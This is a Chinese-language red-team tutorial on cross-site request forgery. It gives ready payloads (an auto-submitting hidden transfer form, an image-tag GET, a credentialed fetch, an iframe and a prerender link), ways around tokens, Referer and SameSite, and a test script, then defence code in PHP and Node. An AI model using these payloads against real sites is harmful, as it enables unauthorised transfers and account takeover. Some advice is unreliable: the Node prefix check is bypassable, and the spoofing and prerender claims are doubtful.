CSRF 核心原理与攻击模型

CSRF 核心原理与攻击模型

1. 攻击本质

CSRF 利用用户浏览器的 “信任状态”(已登录目标网站),通过诱导用户访问恶意页面,使其浏览器自动向目标网站发送用户本无意发起的请求。核心逻辑是:攻击者不直接获取用户凭证,而是利用浏览器自动携带 Cookie 的机制

2. 攻击三要素

  • 用户已登录目标网站:Cookie 有效且未过期。
  • 浏览器自动携带 Cookie:同源策略下,跨域请求仍会附加目标网站 Cookie。
  • 目标网站未验证请求来源:未校验 CSRF 令牌、Referer 或 Origin 头。

3. 典型攻击流程

登录目标网站返回Cookie构造恶意页面访问恶意页面,执行自动请求执行恶意操作(如转账)用户目标服务器攻击者用户浏览器攻击成功

二、攻击技术深度解析

1. 攻击类型与 Payload 构造

类型 技术实现 示例代码
GET 型 通过 URL 参数触发敏感操作(如/transfer?to=attacker&amount=1000 <img src="https://bank.com/transfer?to=attacker&amount=1000">
POST 型 通过自动提交的表单触发(如隐藏表单 + JavaScript 自动提交) <form action="https://bank.com/transfer" method="POST"> <input type="hidden" name="to" value="attacker"> <input type="hidden" name="amount" value="1000"> </form> <script>document.forms[0].submit();</script>
AJAX 型 通过fetchXMLHttpRequest发起跨域请求(需绕过 CORS) fetch('https://bank.com/transfer', { method: 'POST', body: 'to=attacker&amount=1000', credentials: 'include' });
点击劫持 通过透明 iframe 覆盖合法按钮,诱导用户点击触发请求(如钓鱼页面) <iframe src="https://bank.com/transfer" style="opacity:0; width:100%; height:100%"></iframe>

2. 绕过防御的核心技巧

防御机制 绕过方法 技术细节
CSRF 令牌 删除令牌、使用旧令牌、跨用户复用令牌 测试删除请求中的csrf_token参数,观察服务器是否接受请求。若令牌未绑定会话,可尝试用其他用户的有效令牌。
Referer 校验 伪造 Referer 为目标子域名(如https://attacker.target.com)、删除 Referer 头 在请求中设置Referer: https://target.com,或使用data:text/html协议发送请求。
SameSite Cookie 利用SameSite=Lax允许跨域 GET 请求携带 Cookie(如跳转攻击) 构造<a href="https://target.com/transfer">链接,用户点击后触发 GET 请求。
双重提交 Cookie 通过会话固定技术设置伪造的 Cookie 令牌 1. 诱导用户访问攻击者页面,设置Cookie: CSRF_TOKEN=FAKE;2. 发送请求时携带CSRF_TOKEN=FAKE

三、红队实战全流程

1. 信息收集与漏洞初筛

  1. 枚举敏感端点

    • 使用 Burp Suite 的 Target 模块爬取所有表单提交 URL(如/user/change-password/api/order/submit)。
    • 重点关注POSTPUTDELETE等修改状态的请求。
  2. 自动化扫描

    • 配置 Burp Suite 的 CSRF 扫描器,测试每个端点是否缺少令牌或令牌可重复使用。

    • 使用自定义脚本批量发送跨域请求:

      import requests
      url = "https://target.com/transfer"
      headers = {"Referer": "https://attacker.com"}
      data = {"to": "attacker", "amount": 1000}
      response = requests.post(url, data=data, headers=headers, cookies=user_cookies)
      if "成功" in response.text:
          print("CSRF漏洞存在!")
      

2. 手动验证与深度测试

  1. 令牌有效性测试

    • 删除请求中的csrf_token参数,观察是否仍能执行操作。
    • 测试令牌是否可预测(如时间戳、固定值)。
  2. Referer 欺骗

    • 修改Referer为攻击者域名(如https://attacker.com),检查服务器是否拒绝请求。
  3. 跨域请求伪造

    • 创建恶意 HTML 页面,部署到攻击者服务器,诱导用户访问:

      html

      <form action="https://target.com/transfer" method="POST">
          <input type="hidden" name="to" value="attacker">
          <input type="hidden" name="amount" value="1000">
      </form>
      <script>document.forms[0].submit();</script>
      

3. 高价值攻击场景

场景类型 攻击目标 技术要点
资金操作 转账、支付、提现 优先测试金额参数是否可篡改(如负数、超限值)。
权限提升 添加管理员、修改用户角色 测试role参数是否可修改为admin
数据破坏 删除文章、清空数据库 利用 CSRF 触发批量删除接口。
会话固定 控制用户会话(结合钓鱼) 1. 发送伪造的Set-Cookie头;2. 诱导用户登录。

四、防御体系构建与漏洞修复

1. 防御措施对比

防御手段 实现方式 效果评级 兼容性
CSRF 令牌 在表单中嵌入随机令牌,服务器校验令牌有效性 ★★★★★ 全兼容
Referer 校验 验证请求来源是否为同源(如Referer: https://target.com ★★★☆☆ 旧浏览器可能不支持
SameSite Cookie 设置SameSite=Lax/Strict限制跨域 Cookie 携带 ★★★★☆ Chrome 80 + 默认启用
验证码 对高风险操作添加验证码(如转账时输入短信验证码) ★★★★★ 影响用户体验

2. 漏洞修复示例

  • PHP 设置 CSRF 令牌

    // 生成令牌
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    // 输出到表单
    echo '<input type="hidden" name="csrf_token" value="' . $_SESSION['csrf_token'] . '">';
    // 验证
    if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die("CSRF攻击检测!");
    }
    
  • Node.js 校验 Referer

    const referer = req.headers.referer;
    if (!referer.startsWith('https://target.com')) {
        res.status(403).send('请求来源非法');
    }
    

五、工具链与资源推荐

1. 自动化工具

工具名称 功能描述 官网链接
Burp Suite 抓包、扫描、生成 CSRF POC https://portswigger.net/burp
OWASP ZAP 自动化扫描、代理测试 https://www.zaproxy.org/
CSRF PoC Generator 在线生成恶意表单 https://www.csrfmonkey.org/

2. 学习资源

六、高阶技巧与攻击链组合

1. CSRF + XSS 联动攻击

  1. XSS 窃取 CSRF 令牌
    • 通过 XSS 漏洞获取目标页面的 CSRF 令牌,构造合法请求。
  2. CSRF 触发 XSS
    • 利用 CSRF 漏洞上传恶意脚本(如 HTML 文件),触发存储型 XSS。

2. 绕过 SameSite=Lax

  • 利用预加载请求

    <link rel="prerender" href="https://target.com/transfer?to=attacker&amount=1000">
    

3. 防御绕过案例

  • 场景:某银行网站仅校验Referer的域名前缀。
  • 绕过:构造Referer: https://target.com.attacker.com,绕过正则表达式校验。

七、总结与防御建议

CSRF 攻击的核心是利用用户浏览器的自动请求机制,而防御的关键在于验证请求来源的合法性。红队实战中,应优先攻击高价值端点,结合自动化工具与手动验证,同时注意绕过现代浏览器的安全机制(如 SameSite Cookie)。开发人员需实施多层防御,包括 CSRF 令牌、Referer 校验和验证码,以降低攻击风险。